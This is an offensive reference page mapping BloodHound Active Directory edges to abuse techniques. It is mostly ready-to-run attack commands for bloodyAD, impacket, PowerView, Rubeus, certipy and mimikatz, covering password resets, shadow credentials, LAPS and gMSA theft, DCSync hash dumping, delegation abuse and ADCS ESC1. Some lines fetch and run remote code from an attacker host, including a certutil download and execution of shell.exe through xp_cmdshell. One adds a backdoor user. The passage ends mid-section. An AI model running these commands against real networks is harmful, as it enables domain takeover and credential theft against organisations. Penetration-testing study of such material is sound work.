Skip to content

BloodHound Edge Reference

31 min read Created Jun 9, 2026 Last updated Aug 11, 2026

BloodHound nodes: users, computers, groups, OUs, GPOs, Certificate Authorities. Edges are directed. The arrow points from the node that has the right to the target. Mark compromised accounts as Owned (right-click → Mark as Owned), then use Shortest Paths to Domain Admins from Owned Principals to see your attack path.

BloodHound CE (v5+) adds edges not in legacy: AddKeyCredentialLink, WriteAccountRestrictions, ADCSESC1-ADCSESC13. If a CE-specific edge is missing, you may be on legacy BloodHound.

Object Control Edges

GenericAll

Full control over the target object. Strongest edge, unlocks every abuse technique for that object type.

  • User: force password change, set SPN (targeted Kerberoasting), shadow credentials, disable pre-auth

  • Group: add yourself as a member

  • Computer: configure RBCD via add rbcd

  • GPO: add scheduled task running as SYSTEM on every linked computer. See GPO Abuse

┌──(kali㉿kali)-[~]
└─$ # Force password change
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPass123!'
 
┌──(kali㉿kali)-[~]
└─$ # Set fake SPN → targeted Kerberoasting
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/dc.corp.local'
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:'$PASSWORD' -dc-ip $TARGET_IP -request
PS C:\Users\Guest\Desktop> # Load PowerView: On Kali: /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')
 
# Force password change
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
 
# Set SPN → targeted Kerberoasting
Set-DomainObject -Identity $TARGET_USER -Set @{serviceprincipalname='fake/dc.corp.local'} -Verbose
┌──(kali㉿kali)-[~]
└─$ # Add yourself to group (new membership requires fresh TGT: log out and back in)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $USER
 
┌──(kali㉿kali)-[~]
└─$ # RBCD on computer: then follow AllowedToAct section for S4U2Proxy exploit
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" "$CONTROLLED_COMPUTER$"
PS C:\Users\Guest\Desktop> # Add to group
Add-DomainGroupMember -Identity "$TARGET_GROUP" -Members $USER -Verbose
 
# RBCD on computer: build SD with controlled computer SID
$AttackerSID = Get-DomainComputer "$CONTROLLED_COMPUTER" -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "$TARGET_COMPUTER" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

GenericWrite

Write access on specific attributes of the target.

  • User: set SPN (Kerberoasting), disable pre-auth (AS-REP roasting), add key credential (shadow creds)

  • Computer: add rbcd, direct RBCD path, same as GenericAll on computer

  • Group: WriteProperty on member to add members

┌──(kali㉿kali)-[~]
└─$ # Set SPN on user → targeted Kerberoasting
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/dc.corp.local'
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:'$PASSWORD' -dc-ip $TARGET_IP -request
 
┌──(kali㉿kali)-[~]
└─$ # Disable pre-auth → AS-REP roastable
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER -f DONT_REQ_PREAUTH
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$TARGET_USER -no-pass -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # On computer: RBCD (same as GenericAll on computer)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" "$CONTROLLED_COMPUTER$"
PS C:\Users\Guest\Desktop> # Set SPN → targeted Kerberoasting
Set-DomainObject -Identity $TARGET_USER -Set @{serviceprincipalname='fake/dc.corp.local'} -Verbose
 
# Disable pre-auth → AS-REP roastable (XOR toggles DONT_REQ_PREAUTH bit = 0x400000)
Set-DomainObject -Identity $TARGET_USER -XOR @{useraccountcontrol=4194304} -Verbose

ForceChangePassword

Reset the target user's password without knowing their current one. Avoid on service accounts: a password change can break running services.

┌──(kali㉿kali)-[~]
└─$ # bloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPass123!'
 
┌──(kali㉿kali)-[~]
└─$ # rpcclient
┌──(kali㉿kali)-[~]
└─$ rpcclient -U "$DOMAIN/$USER%$PASSWORD" $TARGET_IP -c "setuserinfo2 $TARGET_USER 23 'NewPass123!'"
PS C:\Users\Guest\Desktop> # PowerView
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
 
# AD module (RSAT: available on domain-joined hosts)
Set-ADAccountPassword -Identity $TARGET_USER -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset

WriteOwner

Become the owner of the target object, then grant yourself GenericAll, then follow the GenericAll abuse path above.

┌──(kali㉿kali)-[~]
└─$ # Take ownership
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set owner "$TARGET_OBJECT" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Grant yourself GenericAll on the object
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll "$TARGET_OBJECT" $USER
PS C:\Users\Guest\Desktop> # Take ownership
Set-DomainObjectOwner -Identity "$TARGET_OBJECT" -OwnerIdentity $USER -Verbose
 
# Grant yourself full control
Add-DomainObjectAcl -TargetIdentity "$TARGET_OBJECT" -PrincipalIdentity $USER -Rights All -Verbose

WriteDACL

Write to the DACL of the target. On a domain object: grant DCSync rights. On a group: grant AddMember. On a user: grant ForceChangePassword.

AllExtendedRights on a user includes User-Force-Change-Password. On a domain object it covers both replication rights, equivalent to the DCSync edge. Abuse path is the same as WriteDACL on domain below.

┌──(kali㉿kali)-[~]
└─$ # Grant your account DCSync rights
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER
PS C:\Users\Guest\Desktop> # Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $USER -Rights DCSync -Verbose
 
# Grant AddMember on a group
Add-DomainObjectAcl -TargetIdentity "$TARGET_GROUP" -PrincipalIdentity $USER -Rights WriteMembers -Verbose

AddMember / AddSelf

AddMember: add any user. AddSelf: add only yourself. New group membership requires a fresh Kerberos ticket. Request a new TGT or re-authenticate after adding.

┌──(kali㉿kali)-[~]
└─$ # Add yourself
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Add another user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $TARGET_USER
PS C:\Users\Guest\Desktop> # PowerView
Add-DomainGroupMember -Identity "$TARGET_GROUP" -Members $USER -Verbose
 
# AD module
Add-ADGroupMember -Identity "$TARGET_GROUP" -Members $USER

Write to msDS-KeyCredentialLink on the target. Adds a certificate-based credential without changing the password (stealthier than ForceChangePassword). Requires PKINIT on the DC (Windows Server 2016+). Works on users and computers.

WriteAccountRestrictions is a CE-specific edge controlling msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object. Direct RBCD path, same as GenericWrite on computer, use add rbcd or the PowerView SD method above.

┌──(kali㉿kali)-[~]
└─$ # Add key credential, authenticate, return NTLM hash
certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP
 
# Pass the hash
nxc smb $TARGET_IP -u $TARGET_USER -H $NTHASH
$ certipy shadow auto -u jsmith@corp.local -p Password123 -account svc-backup -dc-ip 10.10.10.10
[*] Targeting user 'svc-backup'
[*] Generating certificate
[*] Got NT hash for 'svc-backup': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> .\Whisker.exe add /target:$TARGET_USER
 
# Run the Rubeus command Whisker prints: authenticates with cert, returns NT hash
.\Rubeus.exe asktgt /user:$TARGET_USER /certificate:$CERT_B64 /password:$CERT_PASS /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
[*] Action: Shadow Credentials
[*] Adding shadow credentials for: svc-backup
[*] Use the following Rubeus command:
.\Rubeus.exe asktgt /user:svc-backup /certificate:MIIK... /password:Whisker123 /domain:corp.local /dc:10.10.10.10 /getcredentials /show /nowrap

ReadLAPSPassword The source principal can read ms-Mcs-AdmPwd on the target computer. LAPS stores the auto-rotated local administrator password in plaintext in this attribute. The local admin account is Administrator by default; newer Windows LAPS uses msLAPS-Password instead. Use the recovered password to authenticate as local admin on the target.

ReadGMSAPassword The source principal can read msds-ManagedPassword on the gMSA. The blob decodes to the current NT hash. Use the NT hash for Pass-the-Hash to any service the gMSA authenticates to, or to services that accept NTLM from the gMSA account.

┌──(kali㉿kali)-[~]
└─$ # Dump all readable LAPS passwords
┌──(kali㉿kali)-[~]
└─$ nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --module laps
 
┌──(kali㉿kali)-[~]
└─$ # Read a specific computer (legacy LAPS)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP get object "$COMPUTER$" -attr ms-Mcs-AdmPwd
 
┌──(kali㉿kali)-[~]
└─$ # Windows LAPS (Server 2022 / Win 11 built-in)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP get object "$COMPUTER$" -attr msLAPS-Password
SMB         $DC_IP  445  DC01  [+] corp.local\$USER:$PASSWORD
LDAP        $DC_IP  389  DC01  [+] corp.local\$USER:$PASSWORD
LDAP        $DC_IP  389  DC01  [*] Getting LAPS passwords
LDAP        $DC_IP  389  DC01  Computer: WS01  Password: Xk9#mQp2vL  Expiration: 2025-04-01 08:00:00
PS C:\Users\Guest\Desktop> # PowerView: all computers with readable LAPS
PS C:\Users\Guest\Desktop> Get-DomainComputer -Filter {ms-Mcs-AdmPwd -Like '*'} -Properties Name, ms-Mcs-AdmPwd
 
PS C:\Users\Guest\Desktop> # Native AD module
PS C:\Users\Guest\Desktop> Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd |
PS C:\Users\Guest\Desktop>  Where-Object { $_.'ms-Mcs-AdmPwd' } |
PS C:\Users\Guest\Desktop>  Select-Object Name, ms-Mcs-AdmPwd
 
PS C:\Users\Guest\Desktop> # Windows LAPS module (Server 2022 / Win 11)
PS C:\Users\Guest\Desktop> Get-LapsADPassword -Identity $COMPUTER -AsPlainText
Name   ms-Mcs-AdmPwd
----   -------------
WS01   Xk9#mQp2vL
┌──(kali㉿kali)-[~]
└─$ # bloodyAD: decodes blob automatically, returns NT hash + plaintext
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP get object "$GMSA_ACCOUNT$" -attr msds-ManagedPassword
 
┌──(kali㉿kali)-[~]
└─$ # nxc: dump all readable gMSA passwords
┌──(kali㉿kali)-[~]
└─$ nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --gmsa
msds-ManagedPassword: {
  'CurrentPassword': 'Ej7Kp2...', 
  'CurrentNTHash': 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'
}
PS C:\Users\Guest\Desktop> # DSInternals: decode the managed password blob
PS C:\Users\Guest\Desktop> Import-Module DSInternals
PS C:\Users\Guest\Desktop> $gmsa = Get-ADServiceAccount -Identity $GMSA_ACCOUNT -Properties msDS-ManagedPassword
PS C:\Users\Guest\Desktop> $blob = ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword'
PS C:\Users\Guest\Desktop> $blob.CurrentPassword
PS C:\Users\Guest\Desktop> $blob.SecureCurrentPassword | ConvertFrom-SecureString -AsPlainText
CurrentNTHash     : 8846f7eaee8fb117ad06bdd830b7586c
CurrentPassword   : Ej7Kp2mN...

Owns

The source principal owns the target AD object. Owners can modify the object's DACL without needing an existing ACE, which effectively grants full control. Abuse by granting yourself GenericAll on the target, then follow any GenericAll path (ForceChangePassword, Shadow Credentials, Kerberoast, etc.).

┌──(kali㉿kali)-[~]
└─$ # Grant yourself GenericAll as the object owner
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
add genericAll $TARGET $USER
 
┌──(kali㉿kali)-[~]
└─$ # Then follow GenericAll path: e.g. ForceChangePassword
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set password $TARGET 'NewPass123!'
 
┌──(kali㉿kali)-[~]
└─$ # Or add Shadow Credentials (see AddKeyCredentialLink)
┌──(kali㉿kali)-[~]
└─$ certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> Import-Module PowerView.ps1
 
PS C:\Users\Guest\Desktop> # Grant yourself GenericAll on target
PS C:\Users\Guest\Desktop> Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All
 
PS C:\Users\Guest\Desktop> # Then ForceChangePassword
PS C:\Users\Guest\Desktop> $pass = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
PS C:\Users\Guest\Desktop> Set-DomainUserPassword -Identity $TARGET -AccountPassword $pass

SyncLAPSPassword

The source principal has write access to the LAPS password attribute on a computer object (ms-Mcs-AdmPwd for legacy LAPS, msLAPS-Password for Windows LAPS). Set the attribute to a known value, then authenticate as the local Administrator on that machine.

BloodHound CE surfaces this as a distinct edge from ReadLAPSPassword.

┌──(kali㉿kali)-[~]
└─$ # Set legacy LAPS password to known value
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set object "$COMPUTER" ms-Mcs-AdmPwd -v 'P@ssw0rd123!'
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate locally with the set password
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -p 'P@ssw0rd123!' --local-auth
SMB  10.10.10.10  445  COMPUTER  [+] COMPUTER\Administrator:P@ssw0rd123! (Pwn3d!)
PS C:\Users\Guest\Desktop> # Set LAPS password attribute (requires write on ms-Mcs-AdmPwd)
PS C:\Users\Guest\Desktop> Set-ADComputer $COMPUTER -Replace @{'ms-Mcs-AdmPwd' = 'P@ssw0rd123!'}
 
PS C:\Users\Guest\Desktop> # Connect to machine as local Admin
PS C:\Users\Guest\Desktop> $cred = New-Object PSCredential('Administrator', (ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force))
PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $COMPUTER -Credential $cred

HasSIDHistory

The source account has a high-privilege SID (e.g., Domain Admins or Enterprise Admins from another domain) stored in its sIDHistory attribute. Windows includes SID history entries in the Kerberos PAC automatically: the account is treated as a member of those groups during access checks without requiring explicit group membership.

No additional exploitation step is needed. Authenticate normally and the inherited privileges apply. Common in migration scenarios or after a trust domain takeover.

┌──(kali㉿kali)-[~]
└─$ # Inspect SID history on the account
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
get object "$ACCOUNT" -attr sIDHistory
 
┌──(kali㉿kali)-[~]
└─$ # Resolve SID to a readable name
┌──(kali㉿kali)-[~]
└─$ impacket-lookupsid $DOMAIN/$USER:$PASSWORD@$DC_IP | grep "$SID_SUFFIX"
 
┌──(kali㉿kali)-[~]
└─$ # SIDHistory is active on every authentication - just use the account normally
┌──(kali㉿kali)-[~]
└─$ nxc smb $DC_IP -u $USER -p $PASSWORD -d $DOMAIN
PS C:\Users\Guest\Desktop> # Inspect SIDHistory
PS C:\Users\Guest\Desktop> Get-ADUser $ACCOUNT -Properties SIDHistory | Select-Object -ExpandProperty SIDHistory
 
PS C:\Users\Guest\Desktop> # Resolve to name
PS C:\Users\Guest\Desktop> foreach ($sid in (Get-ADUser $ACCOUNT -Properties SIDHistory).SIDHistory) {
$sid.Translate([System.Security.Principal.NTAccount])
}
 
PS C:\Users\Guest\Desktop> # No further steps: auth normally to inherit privileges

Session and Access Edges

HasSession

A user has an active session on the target computer at collection time. Their credentials may be in LSASS. HasSession is a pivot indicator, not a direct access edge. You need a separate access edge (AdminTo, CanRDP, CanPSRemote) to reach that computer first.

┌──(kali㉿kali)-[~]
└─$ # Requires local admin on the target computer
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy
 
┌──(kali㉿kali)-[~]
└─$ # secretsdump
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP
LSASSY  10.10.10.10  445  PC01  corp\administrator:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

See AD Credential Dumping for full methods.

AdminTo

Your controlled user is a local administrator on the target computer. Gives LSASS access, SMB exec, WinRM, PSExec: full post-exploitation.

┌──(kali㉿kali)-[~]
└─$ # Verify local admin
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Shell via WinRM (port 5985)
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Shell via SMB exec
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # LSASS dump
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy
SMB  10.10.10.10  445  PC01  [+] corp\jsmith:Password123 (Pwn3d!)

CanRDP / CanPSRemote / ExecuteDCOM

CanRDP: Remote Desktop (port 3389). CanPSRemote: WinRM (port 5985). ExecuteDCOM: DCOM exec (requires local admin on target).

┌──(kali㉿kali)-[~]
└─$ # CanRDP
┌──(kali㉿kali)-[~]
└─$ xfreerdp /v:$TARGET_IP /u:$USER /p:$PASSWORD /d:$DOMAIN +clipboard /dynamic-resolution
 
┌──(kali㉿kali)-[~]
└─$ # CanPSRemote
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # ExecuteDCOM
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'cmd.exe /c net user backdoor Password123! /add'

SQLAdmin

The source principal has sysadmin or sa access to the target Microsoft SQL Server instance discovered by BloodHound. Use it to execute OS commands via xp_cmdshell, read files, or pivot to other services running under the SQL service account.

┌──(kali㉿kali)-[~]
└─$ # Confirm sysadmin access
┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Execute OS command directly
┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN -x 'whoami'
 
┌──(kali㉿kali)-[~]
└─$ # Interactive shell via impacket
┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
SQL (CORP\dbuser  dbo@master)> EXEC sp_configure 'show advanced options',1;RECONFIGURE;
SQL (CORP\dbuser  dbo@master)> EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
SQL (CORP\dbuser  dbo@master)> EXEC xp_cmdshell 'whoami';
Output
------
nt service\mssqlserver
C:\Users\Guest\Desktop> # Enable xp_cmdshell and execute command
C:\Users\Guest\Desktop> sqlcmd -S $TARGET_IP -E -Q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami';"
 
C:\Users\Guest\Desktop> # Upload and execute payload
C:\Users\Guest\Desktop> sqlcmd -S $TARGET_IP -E -Q "EXEC xp_cmdshell 'certutil -urlcache -f http://$LHOST/shell.exe C:\Windows\Temp\shell.exe && C:\Windows\Temp\shell.exe';"

Replication Edges

DCSync / GetChanges + GetChangesAll / AllExtendedRights on Domain

Impersonate a DC to pull all password hashes. DCSync edge means both replication rights are already granted. First grant rights if missing (WriteDACL → add dcsync), then dump.

┌──(kali㉿kali)-[~]
└─$ # All hashes
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -just-dc $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Target account only
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -just-dc-user krbtgt $DOMAIN/$USER:$PASSWORD@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -just-dc-user Administrator $DOMAIN/$USER:$PASSWORD@$TARGET_IP
corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
mimikatz # lsadump::dcsync /domain:$DOMAIN /user:krbtgt
mimikatz # lsadump::dcsync /domain:$DOMAIN /user:Administrator
mimikatz # lsadump::dcsync /domain:$DOMAIN /all /csv
Object  : krbtgt
Hash NTLM: d3c02561bba6ee4ad6cfd024ec8fda5d

The krbtgt hash enables a Golden Ticket. See DCSync and Domain Takeover.

Delegation Edges

AllowedToDelegate (Constrained Delegation)

The account is trusted to delegate to a specific SPN. Impersonate any user (including Domain Admin) to that service without knowing their password.

┌──(kali㉿kali)-[~]
└─$ # Get service ticket impersonating Administrator
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/$USER:$PASSWORD
 
# Use the ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN
PS C:\Users\Guest\Desktop> # Enumerate accounts trusted for constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnsHostname,msds-allowedtodelegateto
 
# S4U2Proxy: need NT hash of the delegating account
.\Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt
 
# With existing TGT
.\Rubeus.exe s4u /ticket:$BASE64_TGT /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt

AllowedToAct / RBCD (Resource-Based Constrained Delegation)

You have write access on msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer (GenericAll / GenericWrite / WriteAccountRestrictions). Need a computer account you control. Create one with impacket-addcomputer or New-MachineAccount if the machine account quota allows (default: 10 per domain user).

┌──(kali㉿kali)-[~]
└─$ # Create attacker-controlled computer account
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKER$' -computer-pass 'Password123!' -dc-ip $TARGET_IP
 
# Set RBCD: ATTACKER$ can act on behalf of TARGET_COMPUTER
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" 'ATTACKER$'
 
# S4U2Self + S4U2Proxy → Administrator CIFS ticket
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKER$':'Password123!'
 
# Use the ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN
PS C:\Users\Guest\Desktop> # Load PowerMad
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Powermad.ps1')
 
# Create computer account
New-MachineAccount -MachineAccount 'ATTACKER' -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose
 
# Get SID and build security descriptor
$AttackerSID = Get-DomainComputer 'ATTACKER' -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "$TARGET_COMPUTER" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
 
# NT hash of ATTACKER$ then S4U2Proxy
.\Rubeus.exe hash /password:'Password123!'
.\Rubeus.exe s4u /user:'ATTACKER$' /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt

ADCS Edges (BloodHound CE)

BloodHound CE maps Active Directory Certificate Services misconfigurations as distinct edges. Legacy BloodHound does not include these paths. Each ESC number corresponds to a class of misconfiguration first documented by SpecterOps in Certified Pre-Owned (2021). Use certipy find -vulnerable to enumerate all of these in one pass.

  • ADCSESC1: template allows requestor-supplied SAN + Client Auth EKU + low-priv enrollment

  • ADCSESC2: template has Any Purpose EKU or no EKU (SubCA), effectively same abuse as ESC1

  • ADCSESC3: template has Certificate Request Agent EKU, enabling on-behalf-of enrollment for any user

  • ADCSESC4: write access on certificate template object, modify to enable SAN then ESC1

  • ADCSESC5: write control over a CA or PKI object in AD, enable vulnerable templates or modify CA settings

  • ADCSESC6: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, any template request may include attacker-specified SAN

  • ADCSESC7: ManageCA or Manage Certificates right on the CA, issue/approve pending requests or enable vulnerable templates

  • ADCSESC8: NTLM relay to AD CS HTTP endpoint (/certsrv/), relay machine auth to obtain a certificate

  • ADCSESC9a/b: GenericWrite on account with weak certificate mapping, change UPN/dNSHostName to enroll as another principal

  • ADCSESC10a/b: DC has StrongCertificateBindingEnforcement=0 or compatibility mode; change UPN or dNSHostName to impersonate any principal

  • ADCSESC11: NTLM relay to MS-ICPR (RPC enrollment), CA does not enforce encryption on certificate requests

  • ADCSESC13: certificate template's IssuancePolicies OID is linked to an AD group; enrolling grants membership in that group

All ESC attacks end with certipy auth -pfx cert.pfx -dc-ip $DC_IP to obtain a TGT via PKINIT, then use impacket or nxc with the TGT.

ESC1: Certificate template allows the enrollee to specify a Subject Alternative Name (SAN) and has the Client Authentication EKU enabled. Low-privileged users can enroll. Request a cert with SAN set to any user (e.g., Administrator) and authenticate as that user via PKINIT.

┌──(kali㉿kali)-[~]
└─$ # Find ESC1-vulnerable templates
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Request cert with SAN = DA
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template '$TEMPLATE' \
-upn 'administrator@$DOMAIN' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with received cert → get TGT
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $DC_IP
[*] Using principal: administrator@corp.local
[*] Saved credential cache to 'administrator.ccache'
[*] NT Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
PS C:\Users\Guest\Desktop> # Find vulnerable templates
PS C:\Users\Guest\Desktop> .\Certify.exe find /vulnerable
 
PS C:\Users\Guest\Desktop> # Request cert with SAN
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE' /altname:'administrator'
 
PS C:\Users\Guest\Desktop> # Convert PEM → PFX (run on Kali or Windows with OpenSSL)
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
 
PS C:\Users\Guest\Desktop> # Request TGT and inject into session
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt

ESC2: Template has the Any Purpose EKU or no EKU at all (SubCA). Effectively the same abuse path as ESC1: request a cert with an attacker-controlled SAN. SubCA templates may require issuing a pending request via ManageCA rights (see ESC7).

┌──(kali㉿kali)-[~]
